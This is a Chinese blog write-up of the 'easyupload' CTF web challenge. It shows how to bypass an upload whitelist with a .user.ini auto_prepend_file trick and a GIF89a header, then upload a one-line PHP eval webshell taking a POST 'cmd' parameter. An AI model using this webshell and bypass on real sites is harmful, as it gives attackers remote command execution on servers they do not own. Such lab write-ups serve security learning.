首页 > 其他分享 >CTFer成长记录——CTF之Web专题·攻防世界—easyupload

CTFer成长记录——CTF之Web专题·攻防世界—easyupload

时间:2023-07-29 10:25:20浏览次数:40  
标签:Web easyupload 文件 CTF user 白名单 php 上传 ini

一、题目链接

https://adworld.xctf.org.cn/challenges/list


二、解法步骤

  这题一道文件上传题,本题考的是利用.user.ini文件的特性,实现任意命令执行。在测试该文件上传是白名单还是黑名单,我们可以随便上传一个文件后缀,只要不通过就是白名单检测。

    .user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
使用方法:
    指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
    auto_prepend_file=01.gif    //01.gif是你要上传的文件

   所以,我们可以借助.user.ini轻松让所有php文件都自动包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

  于是我们将auto_prepend_file=1.jpg写入一个空的.txt文件中,然后改名改后缀为.user.int,接着将这个文件上传。注意:直接上传是不行的,需要bp抓包,修改请求包中的文件类型,用来绕过白名单检测:注意由于该题会对文件内容进行解析,所以要加上GIF89a这个文件欺骗头,让上传系统误认为我们上传的是图片。

 最后显示上传成功。

然后就上传webshell即可:(上传的是1.jpg名称,要和.user.ini中后的文件名相同)

GIF89a //也需要包含文件欺骗头
<?=eval($_POST['cmd']);?>
//注意这里如果是<?php ?> 格式上传也是不成功的。

  

  最后找到文件路径:xxx.uploads/index.php

  用蚂剑连接即可:

三、总结

  本题的文件上传是新知识,有对.user.ini的利用和一句话木马的格式改写,应当积累下来。  

标签:Web,easyupload,文件,CTF,user,白名单,php,上传,ini
From: https://www.cnblogs.com/miraclewolf/p/17589135.html

相关文章

  • asp.net core 2.0 web api基于JWT自定义策略授权
    原文通过登录,来获取Token,再在之后每次请求的Header中追加Authorization为Token的凭据,服务端验证通过即可能获取想要访问的资源。关于JWT的技术,可参考网络上文章,这里不作详细说明,这篇博文,主要说明在asp.netcore2.0中,基于jwt的webapi的权限设置,即在asp.netcore中怎么用JWT,再次......
  • not_the_same_3dsctf_2016
    0X01和get_started_3dsctf_2016类似大概思路是先控制程序流到get_secret函数读取flag到f14g变量,再控制返回地址为write函数输出f14g变量的内容frompwnimport*p=remote("node4.buuoj.cn",25684)elf=ELF(./not_the_same_3dsctf_2016)write_addr=elf.sym['write']......
  • get_started_3dsctf_2016
    0x00最近持续学习栈溢出,努力熟悉各种利用方法,争取这周和下周把栈溢出这块结束发现自己的WP好久没有更新了,BUUCTF也攒了好多于是,为了让自己更进一步熟悉栈溢出攻击,温故知新,同时方便自己查找(希望不是浪费时间),WP补完计划,启动!(我可不是看了孙导的奖励临时起意的)0x01IDA分析``......
  • Java Web|
    1.Spring1.1SpringMVC参数的封装1.传统的URLlocalhost:8080?id=1&name=tom2.基于RESTful风格的URLlocalhost:8080/1/tom前后端分离的开发一般是基于RESTfull,具体规则是4中请求分别表示不同的业务GET查询POST添加PUT修改DELETE删除每个语言使用的时候都一样,是一种规......
  • [SWPUCTF 2021 新生赛]pop
    [SWPUCTF2021新生赛]pop题目来源:nssctf题目类型:web涉及考点:PHP反序列化、pop链1.上来先做代码审计<?phperror_reporting(0);show_source("index.php");classw44m{private$admin='aaa';protected$passwd='123456';publicfunction......
  • 搭建MC(我的世界)服务器,带Web管理面板
    本文章使用MCSManager管理面板和1.12.2版的mc服务端购买云服务器这里以腾讯云为例,其他服务器推荐:https://blog.zeruns.tech/archives/383.html注册腾讯云:https://cloud.tencent.com/act/cps/redirect?redirect=11699&cps_key=69aab81d20a9e10e5ad56107d5303535购买地址:https://clou......
  • Android web services详细使用
    Android与服务器端数据交互(基于SOAP协议整合android+webservice)上一节中我们通过http协议,采用HttpClient向服务器端action请求数据。当然调用服务器端方法获取数据并不止这一种。WebService也可以为我们提供所需数据,那么什么是webService呢?,它是一种基于SAOP协议的远程调用标准,......
  • Google网站管理员:提升移动Web性…
    移动互联网已经在全球得到了广泛的应用。到2009年,有50%的新增的互联网访问都是来自手机设备的(eMarket,2008和2009)。来自Google的内部资料显示,随着移动浏览器的提升,用户的浏览习惯也在逐步改进。移动浏览器上的页面布局与桌面浏览器有着显著的差异,所以,想要在移动设备上开......
  • CTFer成长记录——CTF之Misc专题·攻防世界—适合作为桌面
    一、题目链接https://adworld.xctf.org.cn/challenges/list二、解法步骤  附件是一张炫酷的.png图片:  常规操作无效后,考虑其他的隐写软件:stegsovle。打开后,尝试不同的文件通道,发现有二维码出现:扫描后是一段16进制字符串:  在010中新建16进制文件,使用ctrl+shitf+v......
  • CTFer成长记录——CTF之Misc专题·攻防世界—斑马斑马
    一、题目链接  https://adworld.xctf.org.cn/challenges/list二、解法步骤  下载附件,发现是一张斑马:  常规的隐写解密操作都无效,考虑特点:斑马——>黑白条纹——>条形码。在线识别条形码网站:https://products.aspose.app/barcode/zh-hans/recognize#  解码得到:FLAGIS......